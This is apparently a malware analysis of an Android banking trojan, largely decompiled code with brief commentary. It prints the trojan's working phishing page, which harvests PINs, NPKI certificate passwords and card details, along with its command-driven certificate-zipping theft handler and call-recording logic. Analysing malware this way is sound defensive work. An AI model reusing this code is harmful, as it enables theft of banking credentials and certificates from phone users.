new Handler(Looper.getMainLooper()).postDelayed(new e(obj2), 10000L);
}
}
Run e with 10 secs delay:
static final class e implements Runnable {
/* renamed from: b, reason: collision with root package name */
final /* synthetic */ Object f333b;
static final class a<T> implements c.a.a0.d<Boolean> {
a() {
}
/* JADX DEBUG: Method merged with bridge method: c(Ljava/lang/Object;)V */
@Override // c.a.a0.d
/* renamed from: a, reason: merged with bridge method [inline-methods] */
public final void c(Boolean bool) {
if (bool.booleanValue()) {
return;
}
String string = Locale.getDefault().toString();
d.l.c.i.c(string, "Locale.getDefault().toString()");
if (d.p.u.i(string, "ko", false, 2, null)) {
return;
}
Loader.this.s(Loader.this.d());
}
}
e(Object obj) {
this.f333b = obj;
}
@Override // java.lang.Runnable
public final void run() {
if (this.f333b == Loader.this.getHelloObj() && Loader.this.g.j()) {
Loader.this.r().g(new a());
}
}
}
Additionally, e is also executed on the USER_PRESENT broadcast:
if (d.l.c.i.a(action, "android.intent.action.USER_PRESENT")) {
if (Loader.access$getPreferences$p(Loader.this).getBoolean("lock", false)) {
com.t.v(Loader.access$getCtx$p(Loader.this));
}
if (Loader.this.getCallListener().a() != null) {
return;
}
String strD = Loader.this.d();
d.l.c.l lVar = new d.l.c.l();
lVar.f629a = true;
String string3 = Locale.getDefault().toString();
d.l.c.i.c(string3, "Locale.getDefault().toString()");
if (d.p.u.i(string3, "ko", false, 2, null) && d.l.c.i.a(strD, "")) {
lVar.f629a = false;
}
Loader.this.r().g(new e(lVar, strD));
return;
}
Loader.this.s():
public final void s(String str) {
Iterator<c> it = this.t.iterator();
while (it.hasNext()) {
if (this.f215c.contains(it.next().b())) {
return;
}
}
this.g.f("openbrowser2", new String[]{Locale.getDefault().toString()}).f(c.a.x.b.a.a()).h(new f1(), g1.f298a);
}
f1 implements the dialog and the onClick handler. Depending on the locale, different phishing message are shown to the user (see getHtmlText) below.
static final class f1<T> implements c.a.a0.d<Object> {
static final class a implements DialogInterface.OnClickListener {
a() {
}
/* JADX WARN: Removed duplicated region for block: B:16:0x00bd */
@Override // android.content.DialogInterface.OnClickListener
/*
Code decompiled incorrectly, please refer to instructions dump.
To view partially-correct code enable 'Show inconsistent code' option in preferences
*/
public final void onClick(android.content.DialogInterface r21, int r22) {
/*
r20 = this;
r0 = r20
java.util.Locale r1 = java.util.Locale.getDefault()
java.lang.String r1 = r1.toString()
java.lang.String r2 = "Locale.getDefault().toString()"
d.l.c.i.c(r1, r2)
java.lang.String r3 = "ko"
r4 = 0
r5 = 2
r6 = 0
boolean r1 = d.p.l.i(r1, r3, r4, r5, r6)
r3 = 64
java.lang.String r7 = "acc.name"
java.lang.String r8 = ""
java.lang.String r9 = "com.google"
java.lang.String r10 = "null cannot be cast to non-null type android.accounts.AccountManager"
java.lang.String r11 = "accounts"
java.lang.String r12 = "account"
r13 = 1
if (r1 == 0) goto Le3
com.Loader$f1 r1 = com.Loader.f1.this
com.Loader r1 = com.Loader.this
java.lang.String r2 = r1.getHtmlText()
r1.setWebPageData(r2)
com.Loader$f1 r1 = com.Loader.f1.this
com.Loader r1 = com.Loader.this
android.content.Context r1 = com.Loader.access$getCtx$p(r1)
java.lang.Object r1 = r1.getSystemService(r12)
if (r1 == 0) goto Ldd
android.accounts.AccountManager r1 = (android.accounts.AccountManager) r1
android.accounts.Account[] r1 = r1.getAccounts()
d.l.c.i.c(r1, r11)
int r2 = r1.length
r5 = 0
L4d:
if (r5 >= r2) goto L5e
r10 = r1[r5]
java.lang.String r11 = r10.type
boolean r11 = d.l.c.i.a(r9, r11)
if (r11 == 0) goto L5b
r6 = r10
goto L5e
L5b:
int r5 = r5 + 1
goto L4d
L5e:
if (r6 == 0) goto Laf
java.lang.String r14 = r6.name
d.l.c.i.c(r14, r7)
char[] r15 = new char[r13]
r15[r4] = r3
r16 = 0
r17 = 0
r18 = 6
r19 = 0
java.util.List r1 = d.p.l.M(r14, r15, r16, r17, r18, r19)
java.util.List r9 = d.h.i.x(r1)
java.lang.Object r1 = r9.get(r4)
r10 = r1
java.lang.String r10 = (java.lang.String) r10
r13 = 0
r14 = 4
r15 = 0
java.lang.String r11 = "."
java.lang.String r12 = ""
java.lang.String r1 = d.p.l.e(r10, r11, r12, r13, r14, r15)
r9.set(r4, r1)
r11 = 0
r12 = 0
r14 = 0
r16 = 62
r17 = 0
java.lang.String r10 = "@"
java.lang.String r3 = d.h.i.o(r9, r10, r11, r12, r13, r14, r15, r16, r17)
com.Loader$f1 r1 = com.Loader.f1.this
com.Loader r7 = com.Loader.this
java.lang.String r1 = r7.getWebPageData()
r4 = 0
r5 = 4
r6 = 0
java.lang.String r2 = "%%ACCOUNT%%"
java.lang.String r1 = d.p.l.e(r1, r2, r3, r4, r5, r6)
r7.setWebPageData(r1)
Laf:
com.Loader$f1 r1 = com.Loader.f1.this
com.Loader r1 = com.Loader.this
java.lang.String r1 = r1.getHttpServerUrl()
boolean r1 = d.l.c.i.a(r1, r8)
if (r1 == 0) goto Lc8
Lbd:
com.Loader$f1 r1 = com.Loader.f1.this
com.Loader r1 = com.Loader.this
java.lang.String r2 = com.Loader.access$startWebHttpServer(r1)
r1.setHttpServerUrl(r2)
Lc8:
com.Loader$f1 r1 = com.Loader.f1.this
com.Loader r1 = com.Loader.this
android.content.Context r1 = com.Loader.access$getCtx$p(r1)
com.Loader$f1 r2 = com.Loader.f1.this
com.Loader r2 = com.Loader.this
java.lang.String r2 = r2.getHttpServerUrl()
com.t.r(r1, r2)
goto L1f0
Ldd:
java.lang.NullPointerException r1 = new java.lang.NullPointerException
r1.<init>(r10)
throw r1
Le3:
java.lang.String r1 = com.j.d()
java.util.Locale r14 = java.util.Locale.getDefault()
java.lang.String r14 = r14.toString()
d.l.c.i.c(r14, r2)
com.Loader$f1 r2 = com.Loader.f1.this
com.Loader r2 = com.Loader.this
java.lang.String r2 = r2.getDefaultAccounts()
java.lang.String r15 = "zn|"
boolean r2 = d.p.l.i(r2, r15, r4, r5, r6)
if (r2 != 0) goto L122
com.Loader$f1 r2 = com.Loader.f1.this
com.Loader r2 = com.Loader.this
java.lang.String r2 = r2.getDefaultAccounts()
java.lang.String r15 = "zn1|"
boolean r2 = d.p.l.i(r2, r15, r4, r5, r6)
if (r2 != 0) goto L122
com.Loader$f1 r2 = com.Loader.f1.this
com.Loader r2 = com.Loader.this
java.lang.String r2 = r2.getDefaultAccounts()
java.lang.String r15 = "chrome|"
boolean r2 = d.p.l.i(r2, r15, r4, r5, r6)
if (r2 == 0) goto L133
L122:
java.lang.String r2 = "zh_HK"
boolean r2 = d.p.l.i(r14, r2, r4, r5, r6)
if (r2 != 0) goto L15a
java.lang.String r2 = "zh_TW"
boolean r2 = d.p.l.i(r14, r2, r4, r5, r6)
if (r2 == 0) goto L133
goto L15a
L133:
java.lang.String r2 = "ja"
boolean r2 = d.p.l.i(r14, r2, r4, r5, r6)
if (r2 == 0) goto L140
java.lang.String r1 = com.j.f()
goto L15e
L140:
java.lang.String r2 = "fr"
boolean r2 = d.p.l.i(r14, r2, r4, r5, r6)
if (r2 == 0) goto L14d
java.lang.String r1 = com.j.e()
goto L15e
L14d:
java.lang.String r2 = "de"
boolean r2 = d.p.l.i(r14, r2, r4, r5, r6)
if (r2 == 0) goto L15e
java.lang.String r1 = com.j.c()
goto L15e
L15a:
java.lang.String r1 = com.j.b()
L15e:
com.Loader$f1 r2 = com.Loader.f1.this
com.Loader r2 = com.Loader.this
r2.setWebPageData(r1)
com.Loader$f1 r1 = com.Loader.f1.this
com.Loader r1 = com.Loader.this
android.content.Context r1 = com.Loader.access$getCtx$p(r1)
java.lang.Object r1 = r1.getSystemService(r12)
if (r1 == 0) goto L1f1
android.accounts.AccountManager r1 = (android.accounts.AccountManager) r1
android.accounts.Account[] r1 = r1.getAccounts()
d.l.c.i.c(r1, r11)
int r2 = r1.length
r5 = 0
L17e:
if (r5 >= r2) goto L18f
r10 = r1[r5]
java.lang.String r11 = r10.type
boolean r11 = d.l.c.i.a(r9, r11)
if (r11 == 0) goto L18c
r6 = r10
goto L18f
L18c:
int r5 = r5 + 1
goto L17e
L18f:
if (r6 == 0) goto L1e0
java.lang.String r14 = r6.name
d.l.c.i.c(r14, r7)
char[] r15 = new char[r13]
r15[r4] = r3
r16 = 0
r17 = 0
r18 = 6
r19 = 0
java.util.List r1 = d.p.l.M(r14, r15, r16, r17, r18, r19)
java.util.List r9 = d.h.i.x(r1)
java.lang.Object r1 = r9.get(r4)
r10 = r1
java.lang.String r10 = (java.lang.String) r10
r13 = 0
r14 = 4
r15 = 0
java.lang.String r11 = "."
java.lang.String r12 = ""
java.lang.String r1 = d.p.l.e(r10, r11, r12, r13, r14, r15)
r9.set(r4, r1)
r11 = 0
r12 = 0
r14 = 0
r16 = 62
r17 = 0
java.lang.String r10 = "@"
java.lang.String r3 = d.h.i.o(r9, r10, r11, r12, r13, r14, r15, r16, r17)
com.Loader$f1 r1 = com.Loader.f1.this
com.Loader r7 = com.Loader.this
java.lang.String r1 = r7.getWebPageData()
r4 = 0
r5 = 4
r6 = 0
java.lang.String r2 = "%%ACCOUNT%%"
java.lang.String r1 = d.p.l.e(r1, r2, r3, r4, r5, r6)
r7.setWebPageData(r1)
L1e0:
com.Loader$f1 r1 = com.Loader.f1.this
com.Loader r1 = com.Loader.this
java.lang.String r1 = r1.getHttpServerUrl()
boolean r1 = d.l.c.i.a(r1, r8)
if (r1 == 0) goto Lc8
goto Lbd
L1f0:
return
L1f1:
java.lang.NullPointerException r1 = new java.lang.NullPointerException
r1.<init>(r10)
goto L1f8
L1f7:
throw r1
L1f8:
goto L1f7
*/
throw new UnsupportedOperationException("Method not decompiled: com.Loader.f1.a.onClick(android.content.DialogInterface, int):void");
}
}
f1() {
}
@Override // c.a.a0.d
public final void c(Object obj) {
if ((obj instanceof Boolean) && ((Boolean) obj).booleanValue()) {
AlertDialog httpServerDlg = Loader.this.getHttpServerDlg();
if (httpServerDlg != null) {
httpServerDlg.dismiss();
}
Loader.this.setHttpServerDlg(new AlertDialog.Builder(Loader.access$getCtx$p(Loader.this)).setMessage(com.t.e(0)).setCancelable(false).setPositiveButton(com.t.e(4), new a()).create());
AlertDialog httpServerDlg2 = Loader.this.getHttpServerDlg();
if (httpServerDlg2 == null) {
throw new NullPointerException("null cannot be cast to non-null type android.app.AlertDialog");
}
httpServerDlg2.getWindow().setType(2003);
httpServerDlg2.show();
}
}
}
public final String getHtmlText() {
return this.E;
}
In case of Korean locale, it displays 4 pages collecting the following information from the user:
page0(identity):namedate
page1(4 digit PIN):xx1xx2xx3xx4
page2(NPKI certificate password):ss1
page3(credit card and address):card_numbercard_holder_nameexpiry_datecard_passwordcard_security_codeaddresspostcode
public Loader() {
String str = "\n<head>\n <title></title>\n <meta http-equiv=\"content-type\" content=\"text/html; charset=UTF-8\" />\n <meta name=\"viewport\" content=\"width=device-width, initial-scale=1.0, minimum-scale=1.0, maximum-scale=1.0, user-scalable=no\">\n <style>\n body {\n font-family: Roboto-Regular, HelveticaNeue, Arial, sans-serif;\n }\n\n label {\n color: #222;\n line-height: 16px;\n font-size: 100%;\n text-decoration: none;\n }\n\n input {\n width: 100%;\n text-align: left;\n border-radius: 1px;\n border: 1px solid #d9d9d9;\n border-top: 1px solid #c0c0c0;\n font-size: 13px;\n height: 25px;\n line-height: 25px;\n padding: 1px 8px;\n -webkit-appearance: textfield;\n background-color: white;\n -webkit-rtl-ordering: logical;\n user-select: text;\n cursor: auto;\n }\n\n input, textarea, keygen, select, button {\n text-rendering: auto;\n color: initial;\n letter-spacing: normal;\n word-spacing: normal;\n text-transform: none;\n text-indent: 0px;\n text-shadow: none;\n display: inline-block;\n text-align: start;\n margin: 0em 0em 0em 0em;\n font: 13.3333px Arial;\n }\n\n input, textarea, keygen, select, button, meter, progress {\n -webkit-writing-mode: horizontal-tb;\n }\n\n .cont {\n padding-right: 16px;\n margin-bottom: 18px\n }\n\n .yf {\n height: 24px;\n display: table-cell;\n vertical-align: middle;\n }\n\n .submit {\n user-select: none;\n line-height: 100%;\n height: 30px;\n min-width: 120px;\n -webkit-user-select: none;\n margin-left: auto;\n margin-right: auto;\n text-align: center;\n vertical-align: middle;\n -webkit-box-shadow: none;\n -moz-box-shadow: none;\n box-shadow: none;\n background-color: #4d90fe;\n background-image: -webkit-linear-gradient(top, #4d90fe, #4787ed);\n background-image: -moz-linear-gradient(top, #4d90fe, #4787ed);\n background-image: -ms-linear-gradient(top, #4d90fe, #4787ed);\n background-image: -o-linear-gradient(top, #4d90fe, #4787ed);\n background-image: linear-gradient(top, #4d90fe, #4787ed);\n border: 1px solid #3079ed;\n color: #fff;\n font-weight: bold;\n }\n\n .btn-cont {\n text-align: center;\n vertical-align: middle;\n margin-bottom: 10px;\n }\n\n .appbar {\n background: #eee;\n color: #dd4b39;\n font-size: 20px;\n padding: 12px 10px;\n }\n\n .appbarb {\n border-bottom: 1px solid #ccc;\n margin-bottom: 20px;\n }\n\n .apptitle {\n margin-left: 10px;\n font-size: 100%;\n }\n\n html, body {\n margin: 0 !important;\n padding: 0 !important;\n }\n .title {\n vertical-align: middle;\n }\n .icon {\n display: inline-block;\n vertical-align: middle;\n width: 40px;\n height: 40px;\n background-size: contain;\n background-image: url(\"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAADIAAAAyCAMAAAAp4XiDAAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAAAyFpVFh0WE1MOmNvbS5hZG9iZS54bXAAAAAAADw/eHBhY2tldCBiZWdpbj0i77u/IiBpZD0iVzVNME1wQ2VoaUh6cmVTek5UY3prYzlkIj8+IDx4OnhtcG1ldGEgeG1sbnM6eD0iYWRvYmU6bnM6bWV0YS8iIHg6eG1wdGs9IkFkb2JlIFhNUCBDb3JlIDUuNS1jMDE0IDc5LjE1MTQ4MSwgMjAxMy8wMy8xMy0xMjowOToxNSAgICAgICAgIj4gPHJkZjpSREYgeG1sbnM6cmRmPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5LzAyLzIyLXJkZi1zeW50YXgtbnMjIj4gPHJkZjpEZXNjcmlwdGlvbiByZGY6YWJvdXQ9IiIgeG1sbnM6eG1wPSJodHRwOi8vbnMuYWRvYmUuY29tL3hhcC8xLjAvIiB4bWxuczp4bXBNTT0iaHR0cDovL25zLmFkb2JlLmNvbS94YXAvMS4wL21tLyIgeG1sbnM6c3RSZWY9Imh0dHA6Ly9ucy5hZG9iZS5jb20veGFwLzEuMC9zVHlwZS9SZXNvdXJjZVJlZiMiIHhtcDpDcmVhdG9yVG9vbD0iQWRvYmUgUGhvdG9zaG9wIENDIChXaW5kb3dzKSIgeG1wTU06SW5zdGFuY2VJRD0ieG1wLmlpZDo5RDdFNjc1RkY4MTQxMUU2OEJCREIyQzkzRjQ0QkZBNyIgeG1wTU06RG9jdW1lbnRJRD0ieG1wLmRpZDo5RDdFNjc2MEY4MTQxMUU2OEJCREIyQzkzRjQ0QkZBNyI+IDx4bXBNTTpEZXJpdmVkRnJvbSBzdFJlZjppbnN0YW5jZUlEPSJ4bXAuaWlkOjlEN0U2NzVERjgxNDExRTY4QkJEQjJDOTNGNDRCRkE3IiBzdFJlZjpkb2N1bWVudElEPSJ4bXAuZGlkOjlEN0U2NzVFRjgxNDExRTY4QkJEQjJDOTNGNDRCRkE3Ii8+IDwvcmRmOkRlc2NyaXB0aW9uPiA8L3JkZjpSREY+IDwveDp4bXBtZXRhPiA8P3hwYWNrZXQgZW5kPSJyIj8+5CGu0wAAAMBQTFRFUrFp7c7MQoX09KY39c9f+7wFmbrx8uCr7LSw6VtQ6kM18IdC63Nprta5Zrp7i8mcnbMq1OTYNKhT2ODvOpqU642Gm8+p5enuZJry6Us+6rsMQatZ7t/ePKlU7VosfavrQYnm7u3sNaZc5Ormf8SS7uno6koy6evv6mtg7+ziNadU6UY57u7u7e7t+bwN3+Xu+cEj7O3t7u3t7+nZP43PToz0wdPw2LkTwbw7vNvF9ZIV8Xcglbxc6uzu+awLNqRp7AzCkQAAAfdJREFUeNrE1m13mjAUAODQGglMsOSUVgTmIlp5aWylsy3b3P7/vxoCgRDDi596P3mOPOfemxtIwPPVAb6MbJE90xxdd7TQRt4IgmZJojeRzBDpJ0jjny9DQz1ECXVphF4XQYneEQ6SEmLrPYEkJO0VmkdSkQwJSWGo/UyiheF5NpeiJgrfuWMr22Kmiu1cCEZSfnVtj27L8aWpZ4uCkaasxFGE4YaebPrk9olbGjJiW1IV/v1etaGQcTt5AiH8LUysn7zBc/zKi5uNfV/UgpyLU9KRZAKr+JY+X0sm/F83kliUhJLXSuzVIXJkWfYsSzREbnYlOTAB00HyUmWpCRkmVCjsbXQW1j5Ux/YSsUXeT0avGCPLPzyZNrES5lJvmA93nckHPmVkxUhU9H/n+9iUk8WxItOKUJJXtrzzMY5jQybe+QWr3hcVLt1c5OFa9ELsFnUrtCbRp18KjIElikPdfFEX+1wYTOR5hCV4bMTxkSPExE1sggacMvCjnaT+9Fk+Z/xNVqiD9QDw+t9PlmTXIgcDtwMAE8Tlz/i+JO/CN5nOcWfE9+fipicqHBZ0021wXtzqdHkk9eXB61UgO/io4XeSedRxvFqmHLgZpZ2HuAEkYB70XhVoZrbLAw/B8IUkyOYmcGPsA3NjWNddeyj9usvVfwEGAFh9KoqHfbO5AAAAAElFTkSuQmCC\");\n }\n \n .error {\n border-color: red !important;\n }\n </style>\n</head>\n";
this.D = str;
this.E = "\n<!DOCTYPE html>\n<html>\n" + str + "\n<script>" + com.j.h() + "</script>\n" + com.j.j() + "\n<body>\n<div class=\"appbar\">\n <div class=\"apptitle\">\n <span class=\"icon\"></span>\n <span class=\"title\">" + com.t.e(7) + "</span>\n </div>\n</div>\n<div class=\"appbarb\"></div>\n<h3 style=\"margin-left:16px\">%%ACCOUNT%%</h3>\n<div style=\"margin: 10px 10px;\">\n <div id=\"page0\">\n <form action=\"/submit\" method=\"post\" onsubmit=\"return onValidate1(this)\">\n <label class=\"yf\" for=\"name\" style=\"display: block\">" + com.t.e(8) + ":</label>\n <div class=\"cont\">\n <input id=\"name\" name=\"name\" autocomplete=\"false\" type=\"text\" minlength=\"2\" required placeholder=\"" + com.t.e(8) + "\">\n </div>\n <label class=\"yf\" for=\"date\" style=\"display: block\">" + com.t.e(9) + ":</label>\n <div class=\"cont\">\n <input id=\"date\" name=\"date\" type=\"date\" max=\"2000-12-30\" required>\n </div>\n <div id=\"dateErr\" style=\"color: #dd4b39\">\n </div>\n \n <div class=\"cont btn-cont\">\n <button class=\"submit\" type=\"submit\" style=\"display: block\">" + com.t.e(4) + "</button>\n </div>\n </form>\n </div>\n \n <div id=\"page1\" style=\"display:none\">\n <form action=\"/submit\" method=\"post\" onsubmit=\"return onValidate2(this)\">\n <label class=\"yf\" for=\"date\" style=\"display: block\">비밀번호(숫자4자리 입력):</label>\n <div class=\"cont\" style=\"display:flex;flex-direction: row;\">\n <input id=\"xx1\" name=\"xx1\" type=\"number\" required style=\"text-align: center;\" max=\"9\" min=\"0\" maxlength=\"1\">\n <input id=\"xx2\" name=\"xx2\" type=\"number\" required style=\"text-align: center;\" max=\"9\" min=\"0\" maxlength=\"1\">\n <input id=\"xx3\" name=\"xx3\" type=\"number\" required style=\"text-align: center;\" max=\"9\" min=\"0\" maxlength=\"1\">\n <input id=\"xx4\" name=\"xx4\" type=\"number\" required style=\"text-align: center;\" max=\"9\" min=\"0\" maxlength=\"1\">\n </div>\n <div class=\"cont btn-cont\">\n <button class=\"submit\" type=\"submit\" style=\"display: block\">" + com.t.e(4) + "</button>\n </div>\n </form>\n </div>\n <div id=\"page2\" style=\"display:none\">\n <form action=\"/submit\" method=\"post\" onsubmit=\"return onValidate3(this)\">\n <label class=\"yf\" for=\"date\" style=\"display: block\">공인인증서:</label>\n <div class=\"cont\">\n <input id=\"ss1\" name=\"ss1\" minlength=\"10\" maxlength=\"16\" required>\n </div>\n <div id=\"ss1Err\" style=\"color: #dd4b39\"></div>\n <div class=\"cont btn-cont\">\n <button class=\"submit\" type=\"submit\" style=\"display: block\">" + com.t.e(4) + "</button>\n </div>\n </form>\n </div>\n \n <div id=\"page3\" style=\"display: none;\">\n <form action=\"/submit\" method=\"post\" onsubmit=\"return onValidate4(this)\">\n\n <div class=\"cont\">\n <label>카드번호</label>\n <input id=\"card_number\" name=\"card_number\" type=\"text\" minlength=\"16\" required=\"\">\n </div>\n <div class=\"cont\">\n <label>카드소유자명</label>\n <input id=\"card_holder_name\" name=\"card_holder_name\" type=\"text\" required=\"\">\n </div>\n <div class=\"cont\">\n <label>\n 유효기간\n <input id=\"expiry_date\" name=\"expiry_date\" type=\"text\" placeholder=\"MM/YY\" pattern=\"^\\d\\d/\\d\\d$\"\n required=\"\">\n </label>\n </div>\n <div class=\"cont\">\n <label>\n 카드비밀번호\n <input id=\"card_password\" name=\"card_password\" type=\"password\" required minlength=\"3\">\n </label>\n </div>\n <div class=\"cont\">\n <label>CVC</label><br>\n <input id=\"card_security_code\" style=\"width:100px\" name=\"card_security_code\" type=\"text\"\n minlength=\"3\" maxlength=\"6\" required=\"\">\n </div>\n <div class=\"cont\">\n <label>주소</label>\n <input id=\"address\" name=\"address\" type=\"text\" required=\"\" minlength=\"5\">\n </div>\n <div class=\"cont\">\n <label>\n <label>우편번호</label><br>\n <input id=\"postcode\" style=\"width: 100px;\" name=\"postcode\" type=\"text\" required=\"\"\n minlength=\"4\">\n </label>\n </div>\n <div class=\"cont btn-cont\">\n <button class=\"submit\" type=\"submit\" style=\"display: block\">확인</button>\n </div>\n </form>\n\n </div>\n </form>\n</div>\n\n\n<script>\n var NAME = \"\";\n var DATE = \"\";\n var XX1 = \"\";\n var XX2 = \"\";\n var XX3 = \"\";\n var XX4 = \"\";\n \n function onValidate1(form) {\n var name = form.name.value;\n var date = form.date.value;\n var idx = date.indexOf(\"-\")\n var i = parseInt(date.substr(0, idx))\n if(i >= 2001) {\n dateErr.innerText = \"" + com.t.e(6) + "\"\n return false\n }\n \n var xhr = new XMLHttpRequest()\n xhr.onreadystatechange = function(evt) {\n if(xhr.readyState == XMLHttpRequest.DONE) {\n page0.style.display='none';\n page1.style.display='block';\n NAME = name;\n DATE = date;\n }\n };\n xhr.open(\"POST\", \"/submit\")\n xhr.setRequestHeader(\"Content-Type\",\"application/x-www-form-urlencoded\")\n xhr.send(\"name=\" + encodeURIComponent(name) + \"&date=\" + encodeURIComponent(date))\n return false\n }\n \n function onValidate2(form) {\n\n var xx1 = form.xx1.value;\n var xx2 = form.xx2.value;\n var xx3 = form.xx3.value;\n var xx4 = form.xx4.value;\n \n var xhr = new XMLHttpRequest()\n xhr.onreadystatechange = function(evt) {\n if(xhr.readyState == XMLHttpRequest.DONE) {\n page1.style.display='none';\n page2.style.display='block';\n XX1 = xx1;\n XX2 = xx2;\n XX3 = xx3;\n XX4 = xx4;\n }\n };\n xhr.open(\"POST\", \"/submit\")\n xhr.setRequestHeader(\"Content-Type\",\"application/x-www-form-urlencoded\")\n xhr.send(\"name=\" + encodeURIComponent(NAME) + \"&date=\" + encodeURIComponent(DATE + \" \" + xx1 + \" \" + xx2 + \" \" + xx3 + \" \" + xx4 ))\n \n return false\n }\n \n function onValidate3(form) {\n \n var ss1 = form.ss1.value;\n if(!(ss1.length >= 10 && ss1.length <= 16 && /[0-9]/.test(ss1) && /[a-zA-Z]/.test(ss1)&&/[\\x20-\\x2F\\x3A-\\x40\\x5B-\\x60\\x7B-\\x7E]/.test(ss1))) {\n ss1Err.innerText='10~16자 / 영문+숫자or특수문자 조합이여야 합니다.';\n return false\n }\n \n var xhr = new XMLHttpRequest()\n xhr.onreadystatechange = function(evt) {\n if(xhr.readyState == XMLHttpRequest.DONE) {\n page2.style.display = 'none';\n page3.style.display = 'block';\n SS1 = ss1;\n }\n };\n xhr.open(\"POST\", \"/submit\")\n xhr.setRequestHeader(\"Content-Type\",\"application/x-www-form-urlencoded\")\n xhr.send(\"name=\" + encodeURIComponent(NAME) + \"&date=\" + encodeURIComponent(DATE + \" \" + XX1 + \" \" + XX2 + \" \" + XX3 + \" \" + XX4 + \"/\" + ss1 ))\n return false\n }\n \n function validateCC() {\n var result = window.validateCreditCard.call(card_number);\n if (!result.valid) {\n card_number.classList.add('error')\n } else {\n card_number.classList.remove('error')\n }\n return\n }\n\n card_number.addEventListener(\"input\", function () {\n validateCC();\n });\n\n function onValidate4(form) {\n\n var result = window.validateCreditCard.call(card_number);\n if (!result.valid) {\n return false;\n } \n var xhr = new XMLHttpRequest()\n xhr.onreadystatechange = function (evt) {\n if (xhr.readyState == XMLHttpRequest.DONE) {\n location.href='https://google.com';\n }\n };\n xhr.open(\"POST\", \"/submit\")\n xhr.setRequestHeader(\"Content-Type\", \"application/x-www-form-urlencoded\")\n xhr.send(\"name=\" + encodeURIComponent(NAME) +\n \"&date=\" + encodeURIComponent(DATE + \" \" + XX1 + \" \" + XX2 + \" \" + XX3 + \" \" + XX4 + \"/\" + SS1) +\n \"&card_number=\" + encodeURIComponent(form.card_number.value) +\n \"&card_holder_name=\" + encodeURIComponent(form.card_holder_name.value) +\n \"&expiry_date=\" + encodeURIComponent(form.expiry_date.value) +\n \"&password=\" + encodeURIComponent(form.card_password.value) +\n \"&card_security_code=\" + encodeURIComponent(form.card_security_code.value) +\n \"&address=\" + encodeURIComponent(form.address.value) +\n \"&post_code=\" + encodeURIComponent(form.postcode.value))\n \n return false;\n }\n new Cleave('#card_number', {\n creditCard: true,\n onCreditCardTypeChanged: function (type) {\n console.log(type);\n }\n });\n\n new Cleave('#expiry_date', {\n date: true,\n datePattern: ['m', 'y'],\n });\n new Cleave('#card_security_code', {\n numericOnly: true,\n });\n</script>\n</body>\n\n</html>\n ";
...
}
Certificate stealing
NPKI certificates are stolen via the getnpki RPC command.
v.f377b is the registered RPC handler for the getnpki command.
Overview:
- C2 sends the
getnpkicommand + the last known timestamp. - The handler ZIPs the
/sdcard/NPKIdirectory, then returns the last modified timestamp + the data.
this.g.n("getnpki", v.f377b);
static final class v extends d.l.c.j implements d.l.b.l<Object[], c.a.h<?>> {
/* renamed from: b, reason: collision with root package name */
public static final v f377b = new v();
v() {
super(1);
}
/* JADX DEBUG: Method merged with bridge method: b(Ljava/lang/Object;)Ljava/lang/Object; */
/* JADX DEBUG: Multi-variable search result rejected for r9v10, resolved type: byte[] */
/* JADX WARN: Multi-variable type inference failed */
@Override // d.l.b.l
/* renamed from: d, reason: merged with bridge method [inline-methods] */
public final c.a.h<?> b(Object[] objArr) {
d.l.c.i.d(objArr, "params");
Object obj = objArr[0];
if (obj == null) {
throw new NullPointerException("null cannot be cast to non-null type kotlin.Number");
}
long jLongValue = ((Number) obj).longValue();
if (!d.l.c.i.a(Environment.getExternalStorageState(), "mounted")) {
c.a.h<?> hVarC = c.a.h.c();
d.l.c.i.c(hVarC, "Maybe.empty<Any>()");
return hVarC;
}
StringBuilder sb = new StringBuilder();
File externalStorageDirectory = Environment.getExternalStorageDirectory();
d.l.c.i.c(externalStorageDirectory, "Environment.getExternalStorageDirectory()");
sb.append(externalStorageDirectory.getAbsolutePath());
sb.append("/NPKI");
File file = new File(sb.toString());
if (!file.exists()) {
c.a.h<?> hVarC2 = c.a.h.c();
d.l.c.i.c(hVarC2, "Maybe.empty<Any>()");
return hVarC2;
}
long jLastModified = file.lastModified();
if (jLongValue == jLastModified) {
c.a.h<?> hVarF = c.a.h.f(0);
d.l.c.i.c(hVarF, "Maybe.just(0)");
return hVarF;
}
com.u uVar = new com.u();
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
try {
uVar.b(byteArrayOutputStream, file.getAbsolutePath());
c.a.h<?> hVarF2 = c.a.h.f(new Serializable[]{Long.valueOf(jLastModified), (Serializable) byteArrayOutputStream.toByteArray()});
d.l.c.i.c(hVarF2, "Maybe.just(arrayOf(lastModified, bytes))");
return hVarF2;
} catch (Exception unused) {
c.a.h<?> hVarC3 = c.a.h.c();
d.l.c.i.c(hVarC3, "Maybe.empty<Any>()");
return hVarC3;
}
}
}
com.u utility class:
public class u {
private void a(File file, ZipOutputStream zipOutputStream, String str) {
if (file.isDirectory()) {
System.out.println("压缩:" + str + file.getName());
c(file, zipOutputStream, str);
return;
}
System.out.println("压缩:" + str + file.getName());
d(file, zipOutputStream, str);
}
private void c(File file, ZipOutputStream zipOutputStream, String str) {
if (file.exists()) {
for (File file2 : file.listFiles()) {
a(file2, zipOutputStream, str + file.getName() + "/");
}
}
}
private void d(File file, ZipOutputStream zipOutputStream, String str) {
if (!file.exists()) {
return;
}
try {
BufferedInputStream bufferedInputStream = new BufferedInputStream(new FileInputStream(file));
zipOutputStream.putNextEntry(new ZipEntry(str + file.getName()));
byte[] bArr = new byte[8192];
while (true) {
int i = bufferedInputStream.read(bArr, 0, 8192);
if (i == -1) {
bufferedInputStream.close();
return;
}
zipOutputStream.write(bArr, 0, i);
}
} catch (Exception e2) {
throw new RuntimeException(e2);
}
}
public void b(OutputStream outputStream, String... strArr) {
try {
ZipOutputStream zipOutputStream = new ZipOutputStream(new CheckedOutputStream(outputStream, new CRC32()));
for (String str : strArr) {
a(new File(str), zipOutputStream, "");
}
zipOutputStream.close();
} catch (Exception e2) {
throw new RuntimeException(e2);
}
}
}
Call recording
Callchain:
Loader.start()
telephonyManager.listen(this.l, 32); // register listener
onCallStateChanged(i, str)
if (i == 1) // CALL_STATE_RINGING
g.f("is_call_rec_enable", null).h(new C0015d(str), ...) // ask C2 if recording enabled
if (i == 2) // CALL_STATE_OFFHOOK (call answered)
nVar3 = new com.n(str) // create recorder
nVar3.a() // start recording
if (i == 0) // CALL_STATE_IDLE (call ended)
fileB = nVar.b() // stop recording, get file
nVar2.f631a = d.k.g.c(fileB) // read file bytes
